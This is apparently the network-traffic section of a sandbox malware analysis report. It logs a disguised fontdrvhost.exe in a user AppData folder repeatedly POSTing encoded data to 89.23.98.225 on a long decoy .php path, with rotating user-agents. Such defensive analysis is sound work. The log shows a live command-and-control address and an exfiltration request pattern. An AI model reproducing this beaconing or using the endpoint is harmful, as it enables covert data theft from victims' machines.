Mar 29, 2024 07:37:01.420476913 CET	80	49730	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:01.420562983 CET	49730	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:01.421586037 CET	49730	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:01.659907103 CET	80	49730	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:01.659979105 CET	80	49730	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:01.671164989 CET	49730	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:01.909681082 CET	80	49730	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:02.000096083 CET	49730	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:10.348623991 CET	49731	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:10.588505030 CET	80	49731	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:10.588593960 CET	49731	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:10.589010954 CET	49731	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:10.828591108 CET	80	49731	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:10.828888893 CET	80	49731	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:10.831746101 CET	49731	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:11.070168972 CET	80	49731	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:11.161180973 CET	49731	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:18.900304079 CET	49738	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:19.143124104 CET	80	49738	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:19.143219948 CET	49738	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:19.143923998 CET	49738	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:19.387130976 CET	80	49738	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:19.387149096 CET	80	49738	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:19.392754078 CET	49738	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:19.635179996 CET	80	49738	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:19.815875053 CET	49738	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:23.363398075 CET	49739	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:23.608145952 CET	80	49739	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:23.608234882 CET	49739	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:23.608653069 CET	49739	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:23.850985050 CET	80	49739	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:23.851135015 CET	80	49739	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:23.853965998 CET	49739	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:24.064965010 CET	49739	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:24.096179962 CET	80	49739	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:24.096328020 CET	49739	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:32.073822975 CET	49740	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:32.315167904 CET	80	49740	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:32.316679955 CET	49740	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:32.317095995 CET	49740	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:32.560663939 CET	80	49740	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:32.560790062 CET	80	49740	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:32.563004017 CET	49740	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:32.804204941 CET	80	49740	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:32.813020945 CET	49740	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:37.058106899 CET	49741	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:37.300735950 CET	80	49741	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:37.300823927 CET	49741	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:37.301199913 CET	49741	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:37.543860912 CET	80	49741	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:37.543878078 CET	80	49741	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:37.554234982 CET	49741	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:37.797171116 CET	80	49741	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:38.165261984 CET	49741	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:41.016069889 CET	49742	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:41.254925966 CET	80	49742	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:41.258431911 CET	49742	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:41.258721113 CET	49742	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:41.497473001 CET	80	49742	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:41.497651100 CET	80	49742	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:41.499818087 CET	49742	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:41.738126040 CET	80	49742	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:41.938113928 CET	49742	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:54.820020914 CET	49744	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:55.064439058 CET	80	49744	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:55.064515114 CET	49744	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:55.065041065 CET	49744	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:55.308389902 CET	80	49744	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:55.308947086 CET	80	49744	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:55.312774897 CET	49744	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:37:55.555813074 CET	80	49744	89.23.98.225	192.168.2.4
Mar 29, 2024 07:37:55.609735012 CET	49744	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:02.835516930 CET	49745	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:03.072112083 CET	80	49745	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:03.072240114 CET	49745	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:03.072562933 CET	49745	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:03.308924913 CET	80	49745	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:03.309076071 CET	80	49745	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:03.311923981 CET	49745	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:03.548557997 CET	80	49745	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:03.753887892 CET	49745	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:15.506139040 CET	49746	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:15.763705969 CET	80	49746	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:15.763787985 CET	49746	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:15.792608976 CET	49746	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:16.050101042 CET	80	49746	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:16.050306082 CET	80	49746	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:16.139678001 CET	49746	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:16.254513025 CET	49746	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:16.511805058 CET	80	49746	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:18.553652048 CET	49746	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:30.120861053 CET	49747	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:30.363040924 CET	80	49747	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:30.363173008 CET	49747	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:30.363462925 CET	49747	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:30.605492115 CET	80	49747	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:30.605541945 CET	80	49747	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:30.607585907 CET	49747	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:30.786469936 CET	49747	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:30.849894047 CET	80	49747	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:30.849967003 CET	49747	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:43.189112902 CET	49748	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:43.429017067 CET	80	49748	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:43.429090977 CET	49748	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:43.429280996 CET	49748	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:43.666357994 CET	80	49748	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:43.666553020 CET	80	49748	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:43.669164896 CET	49748	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:43.728008986 CET	49748	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:43.908014059 CET	80	49748	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:43.908094883 CET	49748	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:54.818653107 CET	49749	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:55.054209948 CET	80	49749	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:55.054311991 CET	49749	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:55.054544926 CET	49749	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:55.289860010 CET	80	49749	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:55.290139914 CET	80	49749	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:55.293150902 CET	49749	80	192.168.2.4	89.23.98.225
Mar 29, 2024 07:38:55.528521061 CET	80	49749	89.23.98.225	192.168.2.4
Mar 29, 2024 07:38:55.538605928 CET	49749	80	192.168.2.4	89.23.98.225

HTTP Request Dependency Graph

89.23.98.225

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	89.23.98.225	80	5496	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:01.421586037 CET	381	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:01.659979105 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:01 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:01.671164989 CET	344	OUT	Data Raw: 00 05 04 0d 06 0f 01 02 05 06 02 01 02 03 01 06 00 01 05 0b 02 06 03 0b 00 03 0f 51 07 01 01 53 0c 56 03 00 01 00 05 01 0d 00 04 01 04 00 04 01 05 00 0b 0b 0a 06 05 04 06 55 07 05 07 05 05 0f 02 56 0e 08 05 0e 05 05 0d 07 0e 05 0e 0d 0d 08 05 51 Data Ascii: QSVUVQQU\L}QcyZwLuBvex~ljY`Upk]Q_xR^^xsbK\|}cPtdlje~V@{m~L}\}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	89.23.98.225	80	7376	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:10.589010954 CET	398	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:10.828888893 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:10 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:10.831746101 CET	344	OUT	Data Raw: 00 0b 04 00 03 0f 01 03 05 06 02 01 02 02 01 00 00 00 05 0f 02 07 03 08 01 06 0f 06 03 01 01 54 0a 00 05 0a 07 05 05 0a 0d 0a 04 0b 04 0b 05 04 07 02 0e 01 0c 00 04 57 06 0e 04 0c 04 04 07 58 05 05 0c 08 06 0e 05 08 0f 03 0c 50 0d 00 0b 07 04 0c Data Ascii: TWXPR\L~~`qZc\[bflhb]v\|`hMpJ{RgH{j\|Thwd`~O~V@xCz}Lq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	89.23.98.225	80	7736	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:19.143923998 CET	380	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:19.387149096 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:19 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:19.392754078 CET	344	OUT	Data Raw: 05 06 01 00 03 08 01 04 05 06 02 01 02 06 01 0a 00 01 05 0b 02 0d 03 00 07 03 0d 54 06 02 01 07 0a 02 06 00 07 06 06 01 0c 0a 05 06 07 57 06 04 07 04 0e 0b 0e 01 04 07 07 0e 06 0d 05 00 06 0a 00 05 0f 0e 04 0f 06 52 0c 53 0b 02 0d 56 0f 07 07 50 Data Ascii: TWRSVPUR\L}U~`fNwLbXb[t@\|UfYvo\|sYy{xsi^TlActpO~u~V@Bzm~LbW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	89.23.98.225	80	7992	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:23.608653069 CET	398	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.98.225 Content-Length: 336 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:23.851135015 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:23 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:23.853965998 CET	336	OUT	Data Raw: 00 0b 01 02 06 08 01 04 05 06 02 01 02 05 01 07 00 04 05 0e 02 0c 03 0e 00 03 0f 07 05 04 03 03 0d 51 05 0b 02 54 06 0a 0f 03 04 06 05 03 04 02 06 06 0d 0b 0d 50 07 00 04 03 06 0c 07 0b 05 5b 03 07 0d 01 04 01 05 09 0f 01 0b 02 0a 00 0c 56 07 0c Data Ascii: QTP[VT\L~@^Ptaqbvt\|\|~X`BlBhpoB{K{YzJh}hCvth}u~V@{Cn~_y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	89.23.98.225	80	7300	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:32.317095995 CET	381	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
